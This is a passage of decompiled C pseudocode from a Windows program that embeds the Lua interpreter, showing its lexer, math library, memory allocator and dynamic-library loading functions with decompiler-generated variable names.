luaZ_fill(ls->z); } else { v4 = ls->z; v5 = v4->p; v6 = (unsigned __int8)*v5; v4->p = v5 + 1; } ls->current = v6; if ( v6 == 61 ) { do { v7 = ls->buff; v8 = v7->buffsize; v9 = ls->current; if ( v7->n + 1 > v8 ) { if ( v8 >= 0x7FFFFFFE ) lexerror(ls, "lexical element too long", 0); v10 = 2 * v8; if ( 2 * v8 + 1 > 0xFFFFFFFD ) luaM_toobig(ls->L); v7->buffer = (char *)luaM_realloc_(ls->L, v7->buffer, v8, 2 * v8); v7->buffsize = v10; } v7->buffer[v7->n++] = v9; v11 = ls->z; v3 = v11->n-- == 0; if ( v3 ) { v14 = luaZ_fill(ls->z); } else { v12 = ls->z; v13 = v12->p; v14 = (unsigned __int8)*v13; v12->p = v13 + 1; } ls->current = v14; ++count; } while ( v14 == 61 ); v1 = v17; } if ( ls->current == v1 ) result = count; else result = -1 - count; return result; } //----- (005B73B0) -------------------------------------------------------- void __usercall read_long_string(LexState *ls, SemInfo *seminfo, int sep) { LexState *v3; // esi@1 Zio *v4; // eax@1 bool v5; // zf@1 Zio *v6; // ecx@2 int *v7; // edx@2 int v8; // eax@2 int v9; // ebx@7 Zio *v10; // eax@9 Zio *v11; // ecx@10 int *v12; // edx@10 int v13; // eax@10 Mbuffer *v14; // edi@14 unsigned int v15; // eax@14 int v16; // ebp@16 Zio *v17; // eax@19 Zio *v18; // ecx@20 const char *v19; // edx@20 int v20; // eax@20 const char *v21; // eax@22 v3 = ls; save(ls, ls->current); v4 = v3->z; v5 = v4->n-- == 0; if ( v5 ) { v8 = luaZ_fill(v3->z); } else { v6 = v3->z; v7 = (int *)v6->p; v8 = *(_BYTE *)v7; v6->p = (char *)v7 + 1; } v3->current = v8; if ( v8 == 10 || v8 == 13 ) inclinenumber(v3); while ( 1 ) { v9 = v3->current; switch ( v3->current + 1 ) { case 94: if ( skip_sep(v3) != sep ) continue; save(v3, v3->current); v10 = v3->z; v5 = v10->n-- == 0; if ( v5 ) { v13 = luaZ_fill(v3->z); } else { v11 = v3->z; v12 = (int *)v11->p; v13 = *(_BYTE *)v12; v11->p = (char *)v12 + 1; } v3->current = v13; if ( seminfo ) LODWORD(seminfo->r) = luaX_newstring(v3, &v3->buff->buffer[sep + 2], v3->buff->n + 2 * (2147483646 - sep)); return; case 11: case 14: save(v3, 10); inclinenumber(v3); if ( !seminfo ) v3->buff->n = 0; break; default: if ( seminfo ) { v14 = v3->buff; v15 = v14->buffsize; if ( v14->n + 1 > v15 ) { if ( v15 >= 0x7FFFFFFE ) lexerror(v3, "lexical element too long", 0); v16 = 2 * v15; if ( 2 * v15 + 1 > 0xFFFFFFFD ) luaM_toobig(v3->L); v14->buffer = (char *)luaM_realloc_(v3->L, v14->buffer, v15, 2 * v15); v14->buffsize = v16; } v14->buffer[v14->n++] = v9; } v17 = v3->z; v5 = v17->n-- == 0; if ( v5 ) { v3->current = luaZ_fill(v3->z); } else { v18 = v3->z; v19 = v18->p; v20 = (unsigned __int8)*v19; v18->p = v19 + 1; v3->current = v20; } break; case 0: v21 = "unfinished long string"; if ( !seminfo ) v21 = "unfinished long comment"; lexerror(v3, v21, 286); return; } } } //----- (005B75F0) -------------------------------------------------------- void __usercall escerror(LexState *ls, int n, int *c, const char *msg) { int v4; // esi@1 v4 = 0; ls->buff->n = 0; save(ls, 92); if ( n > 0 ) { do { if ( c[v4] == -1 ) break; save(ls, c[v4++]); } while ( v4 < n ); } lexerror(ls, msg, 289); } //----- (005B7640) -------------------------------------------------------- int __usercall readhexaesc(LexState *ls) { LexState *v1; // edi@1 int v2; // ebp@1 signed int v3; // esi@1 Zio *v4; // eax@2 bool v5; // zf@2 Zio *v6; // ecx@3 int *v7; // edx@3 int v8; // eax@3 int c[3]; // [sp+10h] [bp-Ch]@1 v1 = ls; v2 = 0; c[0] = 120; v3 = 1; do { v4 = v1->z; v5 = v4->n-- == 0; if ( v5 ) { v8 = luaZ_fill(v1->z); } else { v6 = v1->z; v7 = (int *)v6->p; v8 = *(_BYTE *)v7; v6->p = (char *)v7 + 1; } v1->current = v8; v5 = (byte_680949[v8] & 0x10) == 0; c[v3] = v8; if ( v5 ) escerror(v1, c, v3 + 1, "hexadecimal digit expected"); v2 = luaO_hexavalue(v8) + 16 * v2; ++v3; } while ( v3 < 3 ); return v2; } //----- (005B76D0) -------------------------------------------------------- int __usercall readdecesc(LexState *ls) { int v1; // esi@1 LexState *v2; // edi@1 int v3; // ebp@1 int v4; // eax@2 Zio *v5; // eax@3 bool v6; // zf@3 Zio *v7; // ecx@4 int *v8; // edx@4 int v9; // eax@4 int c[3]; // [sp+10h] [bp-Ch]@3 v1 = 0; v2 = ls; v3 = 0; do { v4 = v2->current; if ( !(byte_680949[v2->current] & 2) ) break; v1 = v4 + 10 * v1 - 48; c[v3] = v4; v5 = v2->z; v6 = v5->n-- == 0; if ( v6 ) { v9 = luaZ_fill(v2->z); } else { v7 = v2->z; v8 = (int *)v7->p; v9 = *(_BYTE *)v8; v7->p = (char *)v8 + 1; } ++v3; v2->current = v9; } while ( v3 < 3 ); if ( v1 > 255 ) escerror(v2, c, v3, "decimal escape too large"); return v1; } //----- (005B7750) -------------------------------------------------------- void __usercall read_string(LexState *ls, int del, SemInfo *seminfo) { LexState *v3; // esi@1 Zio *v4; // eax@1 bool v5; // zf@1 Zio *v6; // ecx@2 int *v7; // edx@2 int v8; // eax@2 int v9; // ebx@5 Zio *v10; // eax@6 Zio *v11; // ecx@7 int *v12; // edx@7 int v13; // eax@7 int v14; // edi@10 Zio *v15; // eax@19 Zio *v16; // ecx@20 const char *v17; // edx@20 int v18; // eax@20 Zio *v19; // eax@23 Zio *v20; // ecx@24 int *v21; // edx@24 int v22; // eax@24 Zio *v23; // eax@29 Zio *v24; // ecx@30 const char *v25; // edx@30 int v26; // eax@30 int v27; // eax@36 Mbuffer *v28; // edi@37 unsigned int v29; // eax@37 int v30; // ebp@39 Zio *v31; // eax@41 Zio *v32; // ecx@42 int *v33; // edx@42 int v34; // eax@42 Zio *v35; // eax@46 Zio *v36; // ecx@47 int *v37; // edx@47 int v38; // eax@47 v3 = ls; save(ls, ls->current); v4 = v3->z; v5 = v4->n-- == 0; if ( v5 ) { v8 = luaZ_fill(v3->z); } else { v6 = v3->z; v7 = (int *)v6->p; v8 = *(_BYTE *)v7; v6->p = (char *)v7 + 1; } v3->current = v8; while ( v3->current != del ) { v9 = v3->current; switch ( v3->current + 1 ) { case 93: v10 = v3->z; v5 = v10->n-- == 0; if ( v5 ) { v13 = luaZ_fill(v3->z); } else { v11 = v3->z; v12 = (int *)v11->p; v13 = *(_BYTE *)v12; v11->p = (char *)v12 + 1; } v3->current = v13; switch ( v13 + 1 ) { case 98: v14 = 7; goto read_save; case 99: v14 = 8; goto read_save; case 103: v14 = 12; goto read_save; case 111: v14 = 10; goto read_save; case 115: v14 = 13; goto read_save; case 117: v14 = 9; goto read_save; case 119: v14 = 11; goto read_save; case 121: v13 = readhexaesc(v3); goto $L2632; case 35: case 40: case 93: $L2632: v14 = v13; read_save: v15 = v3->z; v5 = v15->n-- == 0; if ( v5 ) { v3->current = luaZ_fill(v3->z); save(v3, v14); } else { v16 = v3->z; v17 = v16->p; v18 = (unsigned __int8)*v17; v16->p = v17 + 1; v3->current = v18; save(v3, v14); } break; case 11: case 14: inclinenumber(v3); save(v3, 10); break; case 123: v19 = v3->z; v5 = v19->n-- == 0; if ( v5 ) { v22 = luaZ_fill(v3->z); } else { v20 = v3->z; v21 = (int *)v20->p; v22 = *(_BYTE *)v21; v20->p = (char *)v21 + 1; } v3->current = v22; while ( byte_680949[v3->current] & 8 ) { if ( v3->current == 10 || v3->current == 13 ) { inclinenumber(v3); } else { v23 = v3->z; v5 = v23->n-- == 0; if ( v5 ) { v3->current = luaZ_fill(v3->z); } else { v24 = v3->z; v25 = v24->p; v26 = (unsigned __int8)*v25; v24->p = v25 + 1; v3->current = v26; } } } break; default: if ( !(byte_680949[v13] & 2) ) escerror(v3, &v3->current, 1, "invalid escape sequence"); v27 = readdecesc(v3); save(v3, v27); break; case 0: continue; } break; default: v28 = v3->buff; v29 = v28->buffsize; if ( v28->n + 1 > v29 ) { if ( v29 >= 0x7FFFFFFE ) lexerror(v3, "lexical element too long", 0); v30 = 2 * v29; if ( 2 * v29 + 1 > 0xFFFFFFFD ) luaM_toobig(v3->L); v28->buffer = (char *)luaM_realloc_(v3->L, v28->buffer, v29, 2 * v29); v28->buffsize = v30; } v28->buffer[v28->n++] = v9; v31 = v3->z; v5 = v31->n-- == 0; if ( v5 ) { v34 = luaZ_fill(v3->z); } else { v32 = v3->z; v33 = (int *)v32->p; v34 = *(_BYTE *)v33; v32->p = (char *)v33 + 1; } v3->current = v34; break; case 0: lexerror(v3, "unfinished string", 286); return; case 11: case 14: lexerror(v3, "unfinished string", 289); return; } } save(v3, v3->current); v35 = v3->z; v5 = v35->n-- == 0; if ( v5 ) { v38 = luaZ_fill(v3->z); } else { v36 = v3->z; v37 = (int *)v36->p; v38 = *(_BYTE *)v37; v36->p = (char *)v37 + 1; } v3->current = v38; LODWORD(seminfo->r) = luaX_newstring(v3, (const char *)v3->buff->buffer + 1, v3->buff->n - 2); } //----- (005B7B90) -------------------------------------------------------- int __usercall llex(LexState *ls, SemInfo *seminfo) { LexState *v2; // esi@1 int v3; // eax@1 Zio *v4; // eax@4 bool v5; // zf@4 Zio *v6; // ecx@5 const char *v7; // edx@5 int v8; // eax@5 Zio *v9; // eax@7 Zio *v10; // ecx@8 int *v11; // edx@8 int v12; // eax@8 Zio *v13; // eax@11 Zio *v14; // ecx@12 int *v15; // edx@12 int v16; // eax@12 int v17; // eax@15 Zio *v18; // eax@20 Zio *v19; // ecx@21 int *v20; // edx@21 int v21; // eax@21 int v22; // edi@25 Zio *v23; // eax@26 Zio *v24; // ecx@27 int *v25; // edx@27 int v26; // eax@27 int result; // eax@28 int v28; // eax@29 Zio *v29; // eax@34 Zio *v30; // ecx@35 int *v31; // edx@35 int v32; // eax@35 Zio *v33; // eax@39 Zio *v34; // ecx@40 const char *v35; // edx@40 int v36; // eax@40 Zio *v37; // eax@42 Zio *v38; // ecx@43 int *v39; // edx@43 int v40; // eax@43 Zio *v41; // eax@47 Zio *v42; // ecx@48 const char *v43; // edx@48 int v44; // eax@48 Zio *v45; // eax@50 Zio *v46; // ecx@51 int *v47; // edx@51 int v48; // eax@51 Zio *v49; // eax@55 Zio *v50; // ecx@56 const char *v51; // edx@56 int v52; // eax@56 Zio *v53; // eax@58 Zio *v54; // ecx@59 int *v55; // edx@59 int v56; // eax@59 Zio *v57; // eax@63 Zio *v58; // ecx@64 const char *v59; // edx@64 int v60; // eax@64 Zio *v61; // eax@66 Zio *v62; // ecx@67 int *v63; // edx@67 int v64; // eax@67 Zio *v65; // eax@71 Zio *v66; // ecx@72 const char *v67; // edx@72 int v68; // eax@72 Zio *v69; // eax@75 Zio *v70; // ecx@76 int *v71; // edx@76 int v72; // eax@76 TString *v73; // eax@86 unsigned __int8 v74; // al@87 Zio *v75; // eax@90 Zio *v76; // ecx@91 const char *v77; // edx@91 int v78; // eax@91 v2 = ls; ls->buff->n = 0; v3 = ls->current + 1; while ( 2 ) { switch ( v3 ) { case 11: case 14: inclinenumber(v2); goto LABEL_24; case 10: case 12: case 13: case 33: v4 = v2->z; v5 = v4->n-- == 0; if ( v5 ) { v2->current = luaZ_fill(v2->z); } else { v6 = v2->z; v7 = v6->p; v8 = (unsigned __int8)*v7; v6->p = v7 + 1; v2->current = v8; } goto LABEL_24; case 46: v9 = v2->z; v5 = v9->n-- == 0; if ( v5 ) { v12 = luaZ_fill(v2->z); } else { v10 = v2->z; v11 = (int *)v10->p; v12 = *(_BYTE *)v11; v10->p = (char *)v11 + 1; } v2->current = v12; if ( v12 != 45 ) return 45; v13 = v2->z; v5 = v13->n-- == 0; if ( v5 ) { v16 = luaZ_fill(v2->z); } else { v14 = v2->z; v15 = (int *)v14->p; v16 = *(_BYTE *)v15; v14->p = (char *)v15 + 1; } v2->current = v16; if ( v16 != 91 || (v17 = skip_sep(v2), v2->buff->n = 0, v17 < 0) ) { if ( v2->current != 10 ) { do { if ( v2->current == 13 || v2->current == -1 ) break; v18 = v2->z; v5 = v18->n-- == 0; if ( v5 ) { v21 = luaZ_fill(v2->z); } else { v19 = v2->z; v20 = (int *)v19->p; v21 = *(_BYTE *)v20; v19->p = (char *)v20 + 1; } v2->current = v21; } while ( v21 != 10 ); } } else { read_long_string(v2, 0, v17); v2->buff->n = 0; } LABEL_24: v3 = v2->current + 1; if ( (unsigned int)v3 <= 0x7F ) continue; LABEL_25: v22 = v2->current; if ( byte_680949[v2->current] & 1 ) { do { save(v2, v2->current); v23 = v2->z; v5 = v23->n-- == 0; if ( v5 ) { v26 = luaZ_fill(v2->z); } else { v24 = v2->z; v25 = (int *)v24->p; v26 = *(_BYTE *)v25; v24->p = (char *)v25 + 1; } v2->current = v26; } while ( byte_680949[v26] & 3 ); v73 = luaX_newstring(v2, v2->buff->buffer, v2->buff->n); LODWORD(seminfo->r) = v73; if ( BYTE4(v73->dummy.u) == 4 && (v74 = BYTE6(v73->dummy.u)) != 0 ) result = v74 + 256; else result = 288; } else { v75 = v2->z; v5 = v75->n-- == 0; if ( v5 ) { v2->current = luaZ_fill(v2->z); result = v22; } else { v76 = v2->z; v77 = v76->p; v78 = (unsigned __int8)*v77; v76->p = v77 + 1; v2->current = v78; result = v22; } } return result; default: goto LABEL_25; case 92: v28 = skip_sep(v2); if ( v28 < 0 ) { if ( v28 != -1 ) lexerror(v2, "invalid long string delimiter", 289); result = 91; } else { read_long_string(v2, seminfo, v28); result = 289; } return result; case 62: v29 = v2->z; v5 = v29->n-- == 0; if ( v5 ) { v32 = luaZ_fill(v2->z); } else { v30 = v2->z; v31 = (int *)v30->p; v32 = *(_BYTE *)v31; v30->p = (char *)v31 + 1; } v2->current = v32; if ( v32 == 61 ) { v33 = v2->z; v5 = v33->n-- == 0; if ( v5 ) { v2->current = luaZ_fill(v2->z); result = 281; } else { v34 = v2->z; v35 = v34->p; v36 = (unsigned __int8)*v35; v34->p = v35 + 1; v2->current = v36; result = 281; } } else { result = 61; } return result; case 61: v37 = v2->z; v5 = v37->n-- == 0; if ( v5 ) { v40 = luaZ_fill(v2->z); } else { v38 = v2->z; v39 = (int *)v38->p; v40 = *(_BYTE *)v39; v38->p = (char *)v39 + 1; } v2->current = v40; if ( v40 == 61 ) { v41 = v2->z; v5 = v41->n-- == 0; if ( v5 ) { v2->current = luaZ_fill(v2->z); result = 283; } else { v42 = v2->z; v43 = v42->p; v44 = (unsigned __int8)*v43; v42->p = v43 + 1; v2->current = v44; result = 283; } } else { result = 60; } return result; case 63: v45 = v2->z; v5 = v45->n-- == 0; if ( v5 ) { v48 = luaZ_fill(v2->z); } else { v46 = v2->z; v47 = (int *)v46->p; v48 = *(_BYTE *)v47; v46->p = (char *)v47 + 1; } v2->current = v48; if ( v48 == 61 ) { v49 = v2->z; v5 = v49->n-- == 0; if ( v5 ) { v2->current = luaZ_fill(v2->z); result = 282; } else { v50 = v2->z; v51 = v50->p; v52 = (unsigned __int8)*v51; v50->p = v51 + 1; v2->current = v52; result = 282; } } else { result = 62; } return result; case 127: v53 = v2->z; v5 = v53->n-- == 0; if ( v5 ) { v56 = luaZ_fill(v2->z); } else { v54 = v2->z; v55 = (int *)v54->p; v56 = *(_BYTE *)v55; v54->p = (char *)v55 + 1; } v2->current = v56; if ( v56 == 61 ) { v57 = v2->z; v5 = v57->n-- == 0; if ( v5 ) { v2->current = luaZ_fill(v2->z); result = 284; } else { v58 = v2->z; v59 = v58->p; v60 = (unsigned __int8)*v59; v58->p = v59 + 1; v2->current = v60; result = 284; } } else { result = 126; } return result; case 59: v61 = v2->z; v5 = v61->n-- == 0; if ( v5 ) { v64 = luaZ_fill(v2->z); } else { v62 = v2->z; v63 = (int *)v62->p; v64 = *(_BYTE *)v63; v62->p = (char *)v63 + 1; } v2->current = v64; if ( v64 == 58 ) { v65 = v2->z; v5 = v65->n-- == 0; if ( v5 ) { v2->current = luaZ_fill(v2->z); result = 285; } else { v66 = v2->z; v67 = v66->p; v68 = (unsigned __int8)*v67; v66->p = v67 + 1; v2->current = v68; result = 285; } } else { result = 58; } return result; case 35: case 40: read_string(v2, v2->current, seminfo); return 289; case 47: save(v2, v2->current); v69 = v2->z; v5 = v69->n-- == 0; if ( v5 ) { v72 = luaZ_fill(v2->z); } else { v70 = v2->z; v71 = (int *)v70->p; v72 = *(_BYTE *)v71; v70->p = (char *)v71 + 1; } v2->current = v72; if ( check_next(v2, ".") ) { result = (check_next(v2, ".") != 0) + 279; } else { if ( byte_680949[v2->current] & 2 ) { $L2719: read_numeral(v2, seminfo); result = 287; } else { result = 46; } } return result; case 49: case 50: case 51: case 52: case 53: case 54: case 55: case 56: case 57: case 58: goto $L2719; case 0: return 286; } } } //----- (005B81B0) -------------------------------------------------------- void __cdecl luaX_next(LexState *ls) { int v1; // ecx@1 int *v2; // eax@1 int v3; // ecx@2 v1 = ls->lookahead.token; ls->lastline = ls->linenumber; v2 = (int *)&ls->lookahead; if ( v1 == 286 ) { ls->t.token = llex(ls, &ls->t.seminfo); } else { ls->t.token = *v2; *(&ls->t.token + 1) = *(&ls->lookahead.token + 1); v3 = HIDWORD(ls->lookahead.seminfo.r); LODWORD(ls->t.seminfo.r) = LODWORD(ls->lookahead.seminfo.r); HIDWORD(ls->t.seminfo.r) = v3; *v2 = 286; } } //----- (005B8200) -------------------------------------------------------- int __cdecl luaX_lookahead(LexState *ls) { int result; // eax@1 result = llex(ls, &ls->lookahead.seminfo); ls->lookahead.token = result; return result; } //----- (005B8220) -------------------------------------------------------- int __cdecl math_abs(lua_State *L) { long double v1; // st7@1 v1 = luaL_checknumber(L, 1); lua_pushnumber(L, fabs(v1)); return 1; } //----- (005B8250) -------------------------------------------------------- int __cdecl math_sin(lua_State *L) { long double v1; // st7@1 v1 = luaL_checknumber(L, 1); lua_pushnumber(L, sin(v1)); return 1; } //----- (005B8280) -------------------------------------------------------- int __cdecl math_sinh(lua_State *L) { long double v1; // st7@1 v1 = sinh(luaL_checknumber(L, 1)); lua_pushnumber(L, v1); return 1; } //----- (005B82B0) -------------------------------------------------------- int __cdecl math_cos(lua_State *L) { long double v1; // st7@1 v1 = luaL_checknumber(L, 1); lua_pushnumber(L, cos(v1)); return 1; } //----- (005B82E0) -------------------------------------------------------- int __cdecl math_cosh(lua_State *L) { long double v1; // st7@1 v1 = cosh(luaL_checknumber(L, 1)); lua_pushnumber(L, v1); return 1; } //----- (005B8310) -------------------------------------------------------- int __cdecl math_tan(lua_State *L) { long double v1; // st7@1 v1 = luaL_checknumber(L, 1); lua_pushnumber(L, tan(v1)); return 1; } //----- (005B8340) -------------------------------------------------------- int __cdecl math_tanh(lua_State *L) { long double v1; // st7@1 v1 = tanh(luaL_checknumber(L, 1)); lua_pushnumber(L, v1); return 1; } //----- (005B8370) -------------------------------------------------------- int __cdecl math_asin(lua_State *L) { long double v1; // st7@1 v1 = asin(luaL_checknumber(L, 1)); lua_pushnumber(L, v1); return 1; } //----- (005B83A0) -------------------------------------------------------- int __cdecl math_acos(lua_State *L) { long double v1; // st7@1 v1 = acos(luaL_checknumber(L, 1)); lua_pushnumber(L, v1); return 1; } //----- (005B83D0) -------------------------------------------------------- int __cdecl math_atan(lua_State *L) { long double v1; // st7@1 v1 = luaL_checknumber(L, 1); lua_pushnumber(L, atan2(1.0, v1)); return 1; } //----- (005B8400) -------------------------------------------------------- int __cdecl math_atan2(lua_State *L) { long double v1; // ST14_8@1 long double v2; // st7@1 v1 = luaL_checknumber(L, 1); v2 = luaL_checknumber(L, 2); lua_pushnumber(L, atan2(v2, v1)); return 1; } //----- (005B8440) -------------------------------------------------------- int __cdecl math_ceil(lua_State *L) { double v1; // st7@1 double v2; // st7@1 v1 = luaL_checknumber(L, 1); v2 = ceil(v1); lua_pushnumber(L, v2); return 1; } //----- (005B8470) -------------------------------------------------------- int __cdecl math_floor(lua_State *L) { double v1; // st7@1 double v2; // st7@1 v1 = luaL_checknumber(L, 1); v2 = floor(v1); lua_pushnumber(L, v2); return 1; } //----- (005B84A0) -------------------------------------------------------- int __cdecl math_fmod(lua_State *L) { long double v1; // ST14_8@1 long double v2; // st7@1 v1 = luaL_checknumber(L, 1); v2 = fmod(v1, luaL_checknumber(L, 2)); lua_pushnumber(L, v2); return 1; } //----- (005B84F0) -------------------------------------------------------- int __cdecl math_modf(lua_State *L) { double v1; // st7@1 double v3; // [sp+10h] [bp-10h]@1 double fp; // [sp+18h] [bp-8h]@1 v1 = luaL_checknumber(L, 1); fp = modf(v1, &v3); lua_pushnumber(L, v3); lua_pushnumber(L, fp); return 2; } //----- (005B8540) -------------------------------------------------------- int __cdecl math_sqrt(lua_State *L) { long double v1; // st7@1 v1 = luaL_checknumber(L, 1); lua_pushnumber(L, sqrt(v1)); return 1; } //----- (005B8570) -------------------------------------------------------- int __cdecl math_pow(lua_State *L) { long double v1; // ST14_8@1 long double v2; // st7@1 v1 = luaL_checknumber(L, 1); v2 = pow(v1, luaL_checknumber(L, 2)); lua_pushnumber(L, v2); return 1; } //----- (005B85C0) -------------------------------------------------------- int __cdecl math_log(lua_State *L) { long double v1; // st7@2 long double v2; // st7@3 long double x; // [sp+Ch] [bp-8h]@1 x = luaL_checknumber(L, 1); if ( lua_type(L, 2) > 0 ) { v2 = luaL_checknumber(L, 2); if ( v2 == 10.0 ) v1 = __FYL2X__(x, 0.30102999566398119802); else v1 = __FYL2X__(x, 0.69314718055994528623) / __FYL2X__(v2, 0.69314718055994528623); } else { v1 = __FYL2X__(x, 0.69314718055994528623); } lua_pushnumber(L, v1); return 1; } //----- (005B8650) -------------------------------------------------------- int __cdecl math_exp(lua_State *L) { long double v1; // st7@1 v1 = luaL_checknumber(L, 1) * 1.442695040888963387; _ST6 = v1; __asm { frndint } lua_pushnumber(L, __F2XM1__(v1 - _ST6) + 1.0); return 1; } //----- (005B8690) -------------------------------------------------------- int __cdecl math_deg(lua_State *L) { long double v1; // st7@1 v1 = luaL_checknumber(L, 1); lua_pushnumber(L, v1 * 57.29577951308232); return 1; } //----- (005B86C0) -------------------------------------------------------- int __cdecl math_rad(lua_State *L) { long double v1; // st7@1 v1 = luaL_checknumber(L, 1); lua_pushnumber(L, v1 * 0.0174532925199433); return 1; } //----- (005B86F0) -------------------------------------------------------- int __cdecl math_frexp(lua_State *L) { int v1; // ecx@0 long double v2; // st7@1 long double v3; // st7@1 int e; // [sp+10h] [bp-4h]@1 e = v1; v2 = luaL_checknumber(L, 1); v3 = frexp(v2, &e); lua_pushnumber(L, v3); lua_pushinteger(L, e); return 2; } //----- (005B8730) -------------------------------------------------------- int __cdecl math_ldexp(lua_State *L) { int v1; // ST08_4@1 long double v2; // st7@1 long double v3; // st7@1 v1 = luaL_checkinteger(L, 2); v2 = luaL_checknumber(L, 1); v3 = ldexp(v2, v1); lua_pushnumber(L, v3); return 1; } //----- (005B8770) -------------------------------------------------------- int __cdecl math_min(lua_State *L) { int v1; // ebx@1 int i; // esi@1 long double v3; // st7@2 long double dmin; // [sp+18h] [bp-8h]@1 v1 = lua_gettop(L); dmin = luaL_checknumber(L, 1); for ( i = 2; i <= v1; ++i ) { v3 = luaL_checknumber(L, i); if ( v3 < dmin ) dmin = v3; } lua_pushnumber(L, dmin); return 1; } //----- (005B87F0) -------------------------------------------------------- int __cdecl math_max(lua_State *L) { int v1; // ebx@1 int i; // esi@1 long double v3; // st7@2 long double dmax; // [sp+18h] [bp-8h]@1 v1 = lua_gettop(L); dmax = luaL_checknumber(L, 1); for ( i = 2; i <= v1; ++i ) { v3 = luaL_checknumber(L, i); if ( v3 > dmax ) dmax = v3; } lua_pushnumber(L, dmax); return 1; } //----- (005B8870) -------------------------------------------------------- int __cdecl math_random(lua_State *L) { int v1; // eax@1 int v2; // eax@2 long double v3; // st7@7 double l; // [sp+10h] [bp-18h]@5 double r; // [sp+18h] [bp-10h]@1 double u; // [sp+20h] [bp-8h]@5 double ua; // [sp+20h] [bp-8h]@8 r = (double)(rand() % 32767) * 0.00003051850947599719; v1 = lua_gettop(L); if ( v1 ) { v2 = v1 - 1; if ( v2 ) { if ( v2 != 1 ) luaL_error(L, "wrong number of arguments"); l = luaL_checknumber(L, 1); u = luaL_checknumber(L, 2); if ( l > u ) luaL_argerror(L, 2, "interval is empty"); v3 = floor((u - l + 1.0) * r) + l; } else { ua = luaL_checknumber(L, 1); if ( ua < 1.0 ) luaL_argerror(L, 1, "interval is empty"); v3 = floor(ua * r) + 1.0; } } else { v3 = r; } lua_pushnumber(L, v3); return 1; } //----- (005B8990) -------------------------------------------------------- int __cdecl math_randomseed(lua_State *L) { unsigned int v1; // eax@1 v1 = luaL_checkunsigned(L, 1); srand(v1); rand(); return 0; } //----- (005B89B0) -------------------------------------------------------- int __cdecl luaopen_math(lua_State *L) { lua_createtable(L, 0, 27); luaL_setfuncs(L, &mathlib, 0); lua_pushnumber(L, 3.141592653589793); lua_setfield(L, -2, "pi"); lua_pushnumber(L, _HUGE); lua_setfield(L, -2, "huge"); return 1; } //----- (005B8A20) -------------------------------------------------------- void __cdecl luaM_toobig(lua_State *L) { luaG_runerror(L, "memory allocation error: block too big"); } //----- (005B8A30) -------------------------------------------------------- void *__cdecl luaM_realloc_(lua_State *L, void *block, unsigned int osize, unsigned int nsize) { global_State *v4; // esi@1 v4 = L->l_G; if ( !((int (__cdecl *)(_DWORD))v4->frealloc)(v4->ud) ) { if ( nsize ) { if ( !v4->gcrunning || (luaC_fullgc(L, 1), !v4->frealloc(v4->ud, block, osize, nsize)) ) luaD_throw(L, 4); } } v4->GCdebt += nsize - (block != 0 ? osize : 0); } //----- (005B8AB0) -------------------------------------------------------- void *__cdecl luaM_growaux_(lua_State *L, void *block, int *size, unsigned int size_elems, int limit, const char *what) { int v6; // ecx@1 int v7; // esi@1 void *result; // eax@8 v6 = *size; v7 = limit; if ( *size < limit / 2 ) { v7 = 2 * v6; if ( 2 * v6 < 4 ) v7 = 4; } else { if ( v6 >= limit ) luaG_runerror(L, "too many %s (limit is %d)"); } if ( v7 + 1 > 0xFFFFFFFD / size_elems ) luaG_runerror(L, "memory allocation error: block too big"); result = luaM_realloc_(L, block, size_elems * v6, size_elems * v7); *size = v7; return result; } //----- (005B8B40) -------------------------------------------------------- void __usercall setprogdir(lua_State *L) { DWORD v1; // eax@1 int v2; // eax@3 const char *v3; // eax@4 char buff[261]; // [sp+0h] [bp-10Ch]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buff ^ __security_cookie; v1 = GetModuleFileNameA(0, buff, 0x105u); if ( !v1 || v1 == 261 || (strrchr(buff, 92), !v2) ) luaL_error(L, "unable to get ModuleFileName"); *(_BYTE *)v2 = 0; v3 = lua_tolstring(L, -1, 0); luaL_gsub(L, v3, "!", buff); lua_remove(L, -2); } //----- (005B8BF0) -------------------------------------------------------- void __usercall pusherror(lua_State *L) { DWORD v1; // esi@1 char buffer[128]; // [sp+4h] [bp-84h]@1 unsigned int v3; // [sp+84h] [bp-4h]@1 v3 = (unsigned int)buffer ^ __security_cookie; v1 = GetLastError(); if ( FormatMessageA(0x1200u, 0, v1, 0, buffer, 0x80u, 0) ) lua_pushstring(L, buffer); else lua_pushfstring(L, "system error %d\n"); } //----- (005B8C80) -------------------------------------------------------- void __usercall ll_addtoclib(lua_State *L, const char *path, void *plib) { int v3; // eax@1 lua_getfield(L, -1001000, "_CLIBS"); lua_pushlightuserdata(L, plib); lua_pushvalue(L, -1); lua_setfield(L, -3, path); v3 = luaL_len(L, -2); lua_rawseti(L, -2, v3 + 1); lua_settop(L, -2); } //----- (005B8CE0) -------------------------------------------------------- int __cdecl gctm(lua_State *L) { signed int i; // esi@1 void *v2; // eax@2 for ( i = luaL_len(L, 1); i >= 1; --i ) { lua_rawgeti(L, 1, i); v2 = lua_touserdata(L, -1); FreeLibrary((HMODULE)v2); lua_settop(L, -2); } return 0; } //----- (005B8D30) -------------------------------------------------------- int __usercall ll_loadfunc(lua_State *L, const char *path, const char *sym) { lua_State *v3; // edi@1 void *v4; // esi@1 HINSTANCE__ *v5; // ebx@1 HMODULE v6; // esi@2 int result; // eax@5 int (__cdecl *v8)(lua_State *); // eax@9 v3 = L; lua_getfield(L, -1001000, "_CLIBS"); lua_getfield(v3, -1, path); v4 = lua_touserdata(v3, -1); lua_settop(v3, -3); v5 = (HINSTANCE__ *)v4; if ( !v4 ) { v6 = LoadLibraryExA(path, 0, 0); if ( !v6 ) pusherror(v3); v5 = v6; if ( !v6 ) return 1; ll_addtoclib(v3, path, v6); } if ( *sym == 42 ) { lua_pushboolean(v3, 1); result = 0; } else { v8 = (int (__cdecl *)(lua_State *))GetProcAddress(v5, sym); if ( v8 ) { lua_pushcclosure(v3, v8, 0); result = 0; } else { pusherror(v3); result = 2; } } return result; } //----- (005B8DF0) -------------------------------------------------------- int __cdecl ll_loadlib(lua_State *L) { const char *v1; // edi@1 const char *v2; // eax@1 int v3; // edi@1 int result; // eax@2 const char *v5; // eax@3 v1 = luaL_checklstring(L, 1, 0); v2 = luaL_checklstring(L, 2, 0); v3 = ll_loadfunc(L, v1, v2); if ( v3 ) { lua_pushnil(L); lua_insert(L, -2); v5 = "open"; if ( v3 != 1 ) v5 = "init"; lua_pushstring(L, v5); result = 3; } else { result = 1; } return result; } //----- (005B8E60) -------------------------------------------------------- const char *__usercall searchpath(lua_State *L, const char *path, const char *sep, const char *name, const char *dirsep) { void *v5; // ebx@1 const char *v6; // edi@1 const char *v7; // ebp@2 const char *v8; // edi@4 const char v9; // al@5 const char *v10; // eax@10 const char *v11; // 